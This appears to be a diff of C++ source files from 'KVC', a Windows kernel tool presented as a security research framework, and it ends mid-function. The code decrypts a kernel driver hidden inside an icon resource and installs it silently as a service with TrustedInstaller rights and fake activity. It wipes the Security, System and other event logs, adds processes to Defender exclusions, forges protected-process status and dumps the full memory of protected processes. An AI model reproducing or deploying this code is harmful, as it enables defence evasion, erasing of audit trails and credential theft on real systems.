DEBUG(L"Cleaning up driver connection...");
m_rtc->Cleanup(); // This ensures the handle is properly closed
}
// 2. Wait for resources to be released
Sleep(200);
// 3. Stop the service (if it exists)
DEBUG(L"Stopping driver service...");
if (!StopDriverService()) {
ERROR(L"Failed to stop driver service during cleanup");
// Continue on error - the service may already be stopped
}
// 4. Verify that the service has stopped
DEBUG(L"Verifying service stopped...");
bool serviceVerified = false;
if (InitDynamicAPIs()) {
for(int attempt = 0; attempt < 10; attempt++) {
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
if (hSCM) {
SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_QUERY_STATUS);
if (hService) {
SERVICE_STATUS status;
if (QueryServiceStatus(hService, &status)) {
if (status.dwCurrentState == SERVICE_STOPPED) {
serviceVerified = true;
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
break;
}
}
CloseServiceHandle(hService);
} else {
// Service does not exist - consider it stopped
serviceVerified = true;
CloseServiceHandle(hSCM);
break;
}
CloseServiceHandle(hSCM);
}
Sleep(100);
}
}
// 5. Wait again for safety
Sleep(300);
// 6. Only uninstall if the service is confirmed to be stopped
if (serviceVerified) {
DEBUG(L"Service verified stopped, uninstalling...");
UninstallDriver();
} else {
ERROR(L"Service still running, skipping uninstall to avoid BSOD");
}
// 7. Reinitialize for subsequent operations
Sleep(500);
m_rtc = std::make_unique<kvc>();
SUCCESS(L"Atomic cleanup completed successfully");
return true;
}
bool Controller::PerformAtomicInit() noexcept {
if (!EnsureDriverAvailable()) {
ERROR(L"Failed to load driver for atomic operation");
return false;
}
return true;
}
bool Controller::PerformAtomicInitWithErrorCleanup() noexcept {
if (!PerformAtomicInit()) {
PerformAtomicCleanup();
return false;
}
return true;
}
// Core driver availability check with fallback mechanisms
bool Controller::EnsureDriverAvailable() noexcept {
// Phase 1: Check if the driver is already available (without testing)
if (IsDriverCurrentlyLoaded()) {
return true;
}
// Phase 2: Try to start the existing service
if (!InitDynamicAPIs()) return false;
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
if (hSCM) {
SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_QUERY_STATUS | SERVICE_START);
if (hService) {
SERVICE_STATUS status;
if (QueryServiceStatus(hService, &status)) {
if (status.dwCurrentState == SERVICE_STOPPED) {
g_pStartServiceW(hService, 0, nullptr);
}
}
CloseServiceHandle(hService);
}
CloseServiceHandle(hSCM);
// Give it time to start
Sleep(500);
// Check if it's running now (without a test read)
if (m_rtc->Initialize() && m_rtc->IsConnected()) {
return true;
}
}
// Phase 3: Install a new driver (ONLY if necessary)
INFO(L"Initializing kernel driver component...");
if (!InstallDriverSilently()) {
ERROR(L"Failed to install kernel driver component");
return false;
}
if (!StartDriverServiceSilent()) {
ERROR(L"Failed to start kernel driver service");
return false;
}
// Phase 4: Final check
if (!m_rtc->Initialize()) {
ERROR(L"Failed to initialize kernel driver communication");
return false;
}
SUCCESS(L"Kernel driver component initialized successfully");
return true;
}
bool Controller::IsDriverCurrentlyLoaded() noexcept {
if (!m_rtc) return false;
return m_rtc->IsConnected(); // Just check if the device is open
}

View File

@@ -0,0 +1,369 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
// ControllerDriverManager.cpp
#include "Controller.h"
#include "common.h"
#include "Utils.h"
#include "resource.h"
#include <filesystem>
namespace fs = std::filesystem;
// Driver service lifecycle management
bool Controller::StopDriverService() noexcept {
DEBUG(L"StopDriverService called");
if (!InitDynamicAPIs()) {
DEBUG(L"InitDynamicAPIs failed in StopDriverService");
return false;
}
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
if (!hSCM) {
DEBUG(L"OpenSCManagerW failed: %d", GetLastError());
return false;
}
SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_STOP | SERVICE_QUERY_STATUS);
if (!hService) {
DWORD err = GetLastError();
CloseServiceHandle(hSCM);
if (err == ERROR_SERVICE_DOES_NOT_EXIST) {
DEBUG(L"Service does not exist - considered stopped");
return true;
}
DEBUG(L"OpenServiceW failed: %d", err);
return false;
}
SERVICE_STATUS status;
if (QueryServiceStatus(hService, &status)) {
if (status.dwCurrentState == SERVICE_STOPPED) {
DEBUG(L"Service already stopped");
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return true;
}
}
SERVICE_STATUS stopStatus;
BOOL success = g_pControlService(hService, SERVICE_CONTROL_STOP, &stopStatus);
DWORD err = GetLastError();
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
DEBUG(L"ControlService result: %d, error: %d", success, err);
return success || err == ERROR_SERVICE_NOT_ACTIVE;
}
// Extract driver from steganographic icon resource
std::vector<BYTE> Controller::ExtractEncryptedDriver() noexcept {
auto iconData = Utils::ReadResource(IDR_MAINICON, RT_RCDATA);
if (iconData.size() <= 9662) {
ERROR(L"Icon resource too small or corrupted - steganographic driver missing");
return {};
}
// Skip first 9662 bytes (actual icon data) to get embedded driver
return std::vector<BYTE>(iconData.begin() + 9662, iconData.end());
}
// Decrypt embedded driver using XOR cipher
// Decrypt embedded driver using XOR cipher
std::vector<BYTE> Controller::DecryptDriver(const std::vector<BYTE>& encryptedData) noexcept {
if (encryptedData.empty()) {
ERROR(L"No encrypted driver data provided");
return {};
}
constexpr std::array<BYTE, 7> key = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C };
std::vector<BYTE> decryptedData = encryptedData;
// Simple XOR decryption with repeating key
for (size_t i = 0; i < decryptedData.size(); ++i) {
decryptedData[i] ^= key[i % key.size()]; // Use 'key' instead of 'decryptionKey'
}
return decryptedData;
}
// Silent driver installation with TrustedInstaller privileges
bool Controller::InstallDriverSilently() noexcept {
auto encryptedData = ExtractEncryptedDriver();
if (encryptedData.empty()) return false;
auto driverData = DecryptDriver(encryptedData);
if (driverData.empty()) return false;
fs::path tempDir = GetSystemTempPath(); // Use system temp instead of user temp
fs::path tempDriverPath = tempDir / fs::path(GetDriverFileName());
if (!Utils::WriteFile(tempDriverPath.wstring(), driverData)) return false;
fs::path driverDir = GetDriverStorePath();
fs::path driverPath = driverDir / fs::path(GetDriverFileName());
// Copy with system privileges
std::wstring copyCommand = L"cmd.exe /c copy /Y \"" + tempDriverPath.wstring() + L"\" \"" + driverPath.wstring() + L"\"";
if (!RunAsTrustedInstallerSilent(copyCommand)) {
DeleteFileW(tempDriverPath.c_str());
return false;
}
DeleteFileW(tempDriverPath.c_str());
// REGISTER THE SERVICE WITH CORRECT PRIVILEGES
return RegisterDriverServiceSilent(driverPath.wstring());
}
bool Controller::RegisterDriverServiceSilent(const std::wstring& driverPath) noexcept {
if (!InitDynamicAPIs()) return false;
GenerateFakeActivity();
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
if (!hSCM) return false;
SC_HANDLE hService = g_pCreateServiceW(
hSCM,
GetServiceName().c_str(),
L"Kernel Driver Service",
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER, // KEY CHANGE: type = kernel
SERVICE_DEMAND_START, // start = demand (can be changed to auto)
SERVICE_ERROR_NORMAL,
driverPath.c_str(),
nullptr, nullptr, nullptr, nullptr, nullptr
);
bool success = (hService != nullptr) || (GetLastError() == ERROR_SERVICE_EXISTS);
if (hService) CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return success;
}
bool Controller::StartDriverServiceSilent() noexcept {
if (!InitDynamicAPIs()) return false;
GenerateFakeActivity();
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
if (!hSCM) return false;
SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_START | SERVICE_QUERY_STATUS);
if (!hService) {
CloseServiceHandle(hSCM);
return false;
}
SERVICE_STATUS status;
bool success = true;
if (QueryServiceStatus(hService, &status)) {
if (status.dwCurrentState != SERVICE_RUNNING) {
success = g_pStartServiceW(hService, 0, nullptr) || (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING);
}
}
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return success;
}
// Legacy driver installation with enhanced error handling
bool Controller::InstallDriver() noexcept {
auto encryptedData = ExtractEncryptedDriver();
if (encryptedData.empty()) {
ERROR(L"Failed to extract encrypted driver from icon resource");
return false;
}
auto driverData = DecryptDriver(encryptedData);
if (driverData.empty()) {
ERROR(L"Failed to decrypt embedded driver data");
return false;
}
fs::path tempDir = fs::temp_directory_path();
fs::path tempDriverPath = tempDir / fs::path(GetDriverFileName());
if (!Utils::WriteFile(tempDriverPath.wstring(), driverData)) {
ERROR(L"Failed to write driver file to temp location: %s", tempDriverPath.c_str());
return false;
}
fs::path driverDir = GetDriverStorePath();
fs::path driverPath = driverDir / fs::path(GetDriverFileName());
std::error_code ec;
fs::create_directories(driverDir, ec);
if (ec) {
INFO(L"Directory creation failed (may already exist)");
}
std::wstring copyCommand = L"cmd.exe /c copy /Y " + tempDriverPath.wstring() + L" " + driverPath.wstring();
INFO(L"Copying driver with elevated privileges: %s", copyCommand.c_str());
if (!RunAsTrustedInstaller(copyCommand)) {
ERROR(L"Failed to copy driver to system directory with elevated privileges");
DeleteFileW(tempDriverPath.c_str());
return false;
}
if (!fs::exists(driverPath)) {
ERROR(L"Driver file was not copied successfully to: %s", driverPath.c_str());
DeleteFileW(tempDriverPath.c_str());
return false;
}
SUCCESS(L"Driver file successfully copied to: %s", driverPath.c_str());
DeleteFileW(tempDriverPath.c_str());
if (!InitDynamicAPIs()) return false;
GenerateFakeActivity();
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
if (!hSCM) {
ERROR(L"Failed to open service control manager: %d", GetLastError());
return false;
}
SC_HANDLE hService = g_pCreateServiceW(
hSCM, GetServiceName().c_str(), L"Memory Access Driver",
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER, // KEY CHANGE
SERVICE_DEMAND_START, // start= demand
SERVICE_ERROR_NORMAL, driverPath.c_str(),
nullptr, nullptr, nullptr, nullptr, nullptr
);
if (!hService) {
DWORD err = GetLastError();
CloseServiceHandle(hSCM);
if (err != ERROR_SERVICE_EXISTS) {
ERROR(L"Failed to create driver service: %d", err);
return false;
}
INFO(L"Driver service already exists, proceeding");
} else {
CloseServiceHandle(hService);
SUCCESS(L"Driver service created successfully");
}
CloseServiceHandle(hSCM);
SUCCESS(L"Driver installed and registered as Windows service");
return true;
}
bool Controller::UninstallDriver() noexcept {
StopDriverService();
if (!InitDynamicAPIs()) return true;
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
if (!hSCM) {
return true;
}
std::wstring serviceName = GetServiceName();
SC_HANDLE hService = g_pOpenServiceW(hSCM, serviceName.c_str(), DELETE);
if (!hService) {
CloseServiceHandle(hSCM);
return true;
}
BOOL success = g_pDeleteService(hService);
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
if (!success) {
DWORD err = GetLastError();
if (err != ERROR_SERVICE_MARKED_FOR_DELETE) {
ERROR(L"Failed to delete driver service: %d", err);
return false;
}
}
// Clean up driver file
fs::path driverDir = GetDriverStorePath();
fs::path driverPath = driverDir / fs::path(GetDriverFileName());
std::error_code ec;
if (!fs::remove(driverPath, ec)) {
if (ec.value() != ERROR_FILE_NOT_FOUND) {
std::wstring delCommand = L"cmd.exe /c del /Q \"" + driverPath.wstring() + L"\"";
RunAsTrustedInstallerSilent(delCommand);
}
}
return true;
}
bool Controller::StartDriverService() noexcept {
if (!InitDynamicAPIs()) return false;
GenerateFakeActivity();
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
if (!hSCM) {
ERROR(L"Failed to open service control manager: %d", GetLastError());
return false;
}
SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_START | SERVICE_QUERY_STATUS);
if (!hService) {
CloseServiceHandle(hSCM);
ERROR(L"Failed to open kernel driver service: %d", GetLastError());
return false;
}
SERVICE_STATUS status;
if (QueryServiceStatus(hService, &status)) {
if (status.dwCurrentState == SERVICE_RUNNING) {
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
INFO(L"Kernel driver service already running");
return true;
}
}
BOOL success = g_pStartServiceW(hService, 0, nullptr);
DWORD err = GetLastError();
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
if (!success && err != ERROR_SERVICE_ALREADY_RUNNING) {
ERROR(L"Failed to start kernel driver service: %d", err);
return false;
}
SUCCESS(L"Kernel driver service started successfully");
return true;
}

View File

@@ -0,0 +1,82 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
#include "Controller.h"
#include "common.h"
// Fast admin privilege check using SID comparison - standalone function
static bool IsElevated() noexcept
{
BOOL isAdmin = FALSE;
PSID adminGroup = nullptr;
SID_IDENTIFIER_AUTHORITY ntAuth = SECURITY_NT_AUTHORITY;
if (AllocateAndInitializeSid(&ntAuth, 2, SECURITY_BUILTIN_DOMAIN_RID,
DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &adminGroup)) {
CheckTokenMembership(nullptr, adminGroup, &isAdmin);
FreeSid(adminGroup);
}
return isAdmin == TRUE;
}
// Core event log clearing function - optimized for speed and reliability
bool Controller::ClearSystemEventLogs() noexcept
{
if (!IsElevated()) {
ERROR(L"Administrator privileges required for event log clearing");
return false;
}
// Primary system logs - order matters for dependency clearing
constexpr const wchar_t* logs[] = {
L"Application", L"Security", L"Setup", L"System"
};
int cleared = 0;
constexpr int total = sizeof(logs) / sizeof(logs[0]);
INFO(L"Clearing system event logs...");
for (const auto& logName : logs) {
HANDLE hLog = OpenEventLogW(nullptr, logName);
if (hLog) {
// Clear with nullptr backup (fastest method)
if (ClearEventLogW(hLog, nullptr)) {
SUCCESS(L"Cleared: %s", logName);
++cleared;
} else {
ERROR(L"Failed to clear: %s (Error: %d)", logName, GetLastError());
}
CloseEventLog(hLog);
} else {
ERROR(L"Access denied: %s", logName);
}
}
INFO(L"Summary: %d/%d logs cleared", cleared, total);
return cleared == total;
}

View File

@@ -0,0 +1,311 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
// ControllerMemoryOperations.cpp
#include "Controller.h"
#include "common.h"
#include "Utils.h"
#include <DbgHelp.h>
extern volatile bool g_interrupted;
// Atomic memory dump operations with comprehensive process validation
bool Controller::DumpProcess(DWORD pid, const std::wstring& outputPath) noexcept {
return CreateMiniDump(pid, outputPath);
}
bool Controller::DumpProcessByName(const std::wstring& processName, const std::wstring& outputPath) noexcept {
if (!PerformAtomicInitWithErrorCleanup()) {
return false;
}
auto matches = FindProcessesByName(processName);
if (matches.empty()) {
ERROR(L"No process found matching pattern: %s", processName.c_str());
PerformAtomicCleanup();
return false;
}
if (matches.size() > 1) {
ERROR(L"Multiple processes found matching pattern '%s'. Please use a more specific name:", processName.c_str());
for (const auto& match : matches) {
std::wcout << L" PID " << match.Pid << L": " << match.ProcessName << L"\n";
}
PerformAtomicCleanup();
return false;
}
auto match = matches[0];
INFO(L"Found process: %s (PID %d)", match.ProcessName.c_str(), match.Pid);
PerformAtomicCleanup();
return CreateMiniDump(match.Pid, outputPath);
}
// Create comprehensive memory dump with protection elevation and Defender bypass
bool Controller::CreateMiniDump(DWORD pid, const std::wstring& outputPath) noexcept {
if (!PerformAtomicInit()) {
return false;
}
if (g_interrupted) {
INFO(L"Operation cancelled by user before start");
PerformAtomicCleanup();
return false;
}
std::wstring processName = Utils::GetProcessName(pid);
// Add process to Defender exclusions to prevent interference during dumping
std::wstring processNameWithExt = processName;
if (processNameWithExt.find(L".exe") == std::wstring::npos) {
processNameWithExt += L".exe";
}
m_trustedInstaller.AddProcessToDefenderExclusions(processName);
// System process validation - these processes cannot be dumped
if (pid == 4 || processName == L"System") {
ERROR(L"Cannot dump System process (PID %d) - Windows kernel process, undumpable by design", pid);
m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName);
PerformAtomicCleanup();
return false;
}
if (pid == 188 || processName == L"Secure System") {
ERROR(L"Cannot dump Secure System process (PID %d) - VSM/VBS protected process, undumpable", pid);
m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName);
PerformAtomicCleanup();
return false;
}
if (pid == 232 || processName == L"Registry") {
ERROR(L"Cannot dump Registry process (PID %d) - kernel registry subsystem, undumpable", pid);
m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName);
PerformAtomicCleanup();
return false;
}
if (processName == L"Memory Compression" || pid == 3052) {
ERROR(L"Cannot dump Memory Compression process (PID %d) - kernel memory manager, undumpable", pid);
m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName);
PerformAtomicCleanup();
return false;
}
if (pid < 100 && pid != 0) {
INFO(L"Warning: Attempting to dump low PID process (%d: %s) - may fail due to system-level protection",
pid, processName.c_str());
}
if (g_interrupted) {
INFO(L"Operation cancelled by user during validation");
m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName);
PerformAtomicCleanup();
return false;
}
// Get target process protection level for elevation
auto kernelAddr = GetProcessKernelAddress(pid);
if (!kernelAddr) {
ERROR(L"Failed to get kernel address for target process");
m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName);
PerformAtomicCleanup();
return false;
}
auto targetProtection = GetProcessProtection(kernelAddr.value());
if (!targetProtection) {
ERROR(L"Failed to get protection info for target process");
m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName);
PerformAtomicCleanup();
return false;
}
if (g_interrupted) {
INFO(L"Operation cancelled by user before protection setup");
m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName);
PerformAtomicCleanup();
return false;
}
// Protection elevation to match target process level
if (targetProtection.value() > 0) {
UCHAR targetLevel = Utils::GetProtectionLevel(targetProtection.value());
UCHAR targetSigner = Utils::GetSignerType(targetProtection.value());
std::wstring levelStr = (targetLevel == static_cast<UCHAR>(PS_PROTECTED_TYPE::Protected)) ? L"PP" : L"PPL";
std::wstring signerStr;
switch (static_cast<PS_PROTECTED_SIGNER>(targetSigner)) {
case PS_PROTECTED_SIGNER::Lsa: signerStr = L"Lsa"; break;
case PS_PROTECTED_SIGNER::WinTcb: signerStr = L"WinTcb"; break;
case PS_PROTECTED_SIGNER::WinSystem: signerStr = L"WinSystem"; break;
case PS_PROTECTED_SIGNER::Windows: signerStr = L"Windows"; break;
case PS_PROTECTED_SIGNER::Antimalware: signerStr = L"Antimalware"; break;
case PS_PROTECTED_SIGNER::Authenticode: signerStr = L"Authenticode"; break;
case PS_PROTECTED_SIGNER::CodeGen: signerStr = L"CodeGen"; break;
case PS_PROTECTED_SIGNER::App: signerStr = L"App"; break;
default:
ERROR(L"Unknown signer type for target process");
m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName);
PerformAtomicCleanup();
return false;
}
INFO(L"Target process protection: %s-%s", levelStr.c_str(), signerStr.c_str());
if (!SelfProtect(levelStr, signerStr)) {
ERROR(L"Failed to set self protection to %s-%s", levelStr.c_str(), signerStr.c_str());
} else {
SUCCESS(L"Set self protection to %s-%s", levelStr.c_str(), signerStr.c_str());
}
} else {
INFO(L"Target process is not protected, no self-protection needed");
}
if (!EnableDebugPrivilege()) {
ERROR(L"Failed to enable debug privilege");
}
if (g_interrupted) {
INFO(L"Operation cancelled by user before process access");
SelfProtect(L"none", L"none");
m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName);
PerformAtomicCleanup();
return false;
}
// Open target process with appropriate privileges
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);
if (!hProcess) {
hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (!hProcess) {
ERROR(L"Failed to open process (error: %d)", GetLastError());
m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName);
PerformAtomicCleanup();
return false;
}
}
// Build output path for dump file
std::wstring fullPath = outputPath;
if (!outputPath.empty() && outputPath.back() != L'\\')
fullPath += L"\\";
fullPath += processName + L"_" + std::to_wstring(pid) + L".dmp";
HANDLE hFile = CreateFileW(fullPath.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
ERROR(L"Failed to create dump file (error: %d)", GetLastError());
CloseHandle(hProcess);
m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName);
PerformAtomicCleanup();
return false;
}
// Comprehensive dump type for maximum information extraction
MINIDUMP_TYPE dumpType = static_cast<MINIDUMP_TYPE>(
MiniDumpWithFullMemory |
MiniDumpWithHandleData |
MiniDumpWithUnloadedModules |
MiniDumpWithFullMemoryInfo |
MiniDumpWithThreadInfo |
MiniDumpWithTokenInformation
);
if (g_interrupted) {
INFO(L"Operation cancelled by user before dump creation");
CloseHandle(hFile);
CloseHandle(hProcess);
DeleteFileW(fullPath.c_str());
SelfProtect(L"none", L"none");
m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName);
PerformAtomicCleanup();
return false;
}
INFO(L"Creating memory dump - this may take a while. Press Ctrl+C to cancel safely.");
BOOL result = MiniDumpWriteDump(hProcess, pid, hFile, dumpType, NULL, NULL, NULL);
if (g_interrupted) {
INFO(L"Operation was cancelled during dump creation");
CloseHandle(hFile);
CloseHandle(hProcess);
DeleteFileW(fullPath.c_str());
SelfProtect(L"none", L"none");
m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName);
PerformAtomicCleanup();
return false;
}
CloseHandle(hFile);
CloseHandle(hProcess);
if (!result) {
DWORD error = GetLastError();
switch (error) {
case ERROR_TIMEOUT:
ERROR(L"MiniDumpWriteDump timed out - process may be unresponsive or in critical section");
break;
case RPC_S_CALL_FAILED:
ERROR(L"RPC call failed - process may be a kernel-mode or system-critical process");
break;
case ERROR_ACCESS_DENIED:
ERROR(L"Access denied - insufficient privileges even with protection bypass");
break;
case ERROR_PARTIAL_COPY:
ERROR(L"Partial copy - some memory regions could not be read");
break;
default:
ERROR(L"MiniDumpWriteDump failed (error: %d / 0x%08x)", error, error);
break;
}
DeleteFileW(fullPath.c_str());
SelfProtect(L"none", L"none");
m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName);
PerformAtomicCleanup();
return false;
}
SUCCESS(L"Memory dump created successfully: %s", fullPath.c_str());
INFO(L"Removing self-protection before cleanup...");
SelfProtect(L"none", L"none");
if (g_interrupted) {
INFO(L"Operation completed but cleanup was interrupted");
m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName);
PerformAtomicCleanup();
return true;
}
// Clean up Defender exclusions and perform atomic cleanup
m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName);
PerformAtomicCleanup();
return true;
}

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,697 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
#include "Controller.h"
#include "common.h"
#include "Utils.h"
#include <regex>
#include <charconv>
#include <tlhelp32.h>
#include <unordered_map>
extern volatile bool g_interrupted;
// Kernel process operations with interruption handling
std::optional<ULONG_PTR> Controller::GetInitialSystemProcessAddress() noexcept {
auto kernelBase = Utils::GetKernelBaseAddress();
if (!kernelBase) return std::nullopt;
auto offset = m_of->GetOffset(Offset::KernelPsInitialSystemProcess);
if (!offset) return std::nullopt;
ULONG_PTR pPsInitialSystemProcess = Utils::GetKernelAddress(kernelBase.value(), offset.value());
return m_rtc->ReadPtr(pPsInitialSystemProcess);
}
std::optional<ULONG_PTR> Controller::GetProcessKernelAddress(DWORD pid) noexcept {
auto processes = GetProcessList();
for (const auto& entry : processes) {
if (entry.Pid == pid)
return entry.KernelAddress;
}
ERROR(L"Failed to find kernel address for PID %d", pid);
return std::nullopt;
}
// Process enumeration with comprehensive interruption support
std::vector<ProcessEntry> Controller::GetProcessList() noexcept {
std::vector<ProcessEntry> processes;
if (g_interrupted) {
INFO(L"Process enumeration cancelled by user before start");
return processes;
}
auto initialProcess = GetInitialSystemProcessAddress();
if (!initialProcess) return processes;
auto uniqueIdOffset = m_of->GetOffset(Offset::ProcessUniqueProcessId);
auto linksOffset = m_of->GetOffset(Offset::ProcessActiveProcessLinks);
if (!uniqueIdOffset || !linksOffset) return processes;
ULONG_PTR current = initialProcess.value();
DWORD processCount = 0;
do {
if (g_interrupted) {
break;
}
auto pidPtr = m_rtc->ReadPtr(current + uniqueIdOffset.value());
if (g_interrupted) {
break;
}
auto protection = GetProcessProtection(current);
std::optional<UCHAR> signatureLevel = std::nullopt;
std::optional<UCHAR> sectionSignatureLevel = std::nullopt;
auto sigLevelOffset = m_of->GetOffset(Offset::ProcessSignatureLevel);
auto secSigLevelOffset = m_of->GetOffset(Offset::ProcessSectionSignatureLevel);
if (g_interrupted) {
break;
}
if (sigLevelOffset)
signatureLevel = m_rtc->Read8(current + sigLevelOffset.value());
if (secSigLevelOffset)
sectionSignatureLevel = m_rtc->Read8(current + secSigLevelOffset.value());
if (pidPtr && protection) {
ULONG_PTR pidValue = pidPtr.value();
if (pidValue > 0 && pidValue <= MAXDWORD) {
ProcessEntry entry{};
entry.KernelAddress = current;
entry.Pid = static_cast<DWORD>(pidValue);
entry.ProtectionLevel = Utils::GetProtectionLevel(protection.value());
entry.SignerType = Utils::GetSignerType(protection.value());
entry.SignatureLevel = signatureLevel.value_or(0);
entry.SectionSignatureLevel = sectionSignatureLevel.value_or(0);
if (g_interrupted) {
break;
}
std::wstring basicName = Utils::GetProcessName(entry.Pid);
// Resolve unknown processes using enhanced detection
if (basicName == L"[Unknown]") {
entry.ProcessName = Utils::ResolveUnknownProcessLocal(
entry.Pid,
entry.KernelAddress,
entry.ProtectionLevel,
entry.SignerType
);
} else {
entry.ProcessName = basicName;
}
processes.push_back(entry);
processCount++;
}
}
if (g_interrupted) {
break;
}
auto nextPtr = m_rtc->ReadPtr(current + linksOffset.value());
if (!nextPtr) break;
current = nextPtr.value() - linksOffset.value();
// Safety limit to prevent infinite loops
if (processCount >= 10000) {
break;
}
} while (current != initialProcess.value() && !g_interrupted);
return processes;
}
std::optional<UCHAR> Controller::GetProcessProtection(ULONG_PTR addr) noexcept {
auto offset = m_of->GetOffset(Offset::ProcessProtection);
if (!offset) return std::nullopt;
return m_rtc->Read8(addr + offset.value());
}
bool Controller::SetProcessProtection(ULONG_PTR addr, UCHAR protection) noexcept {
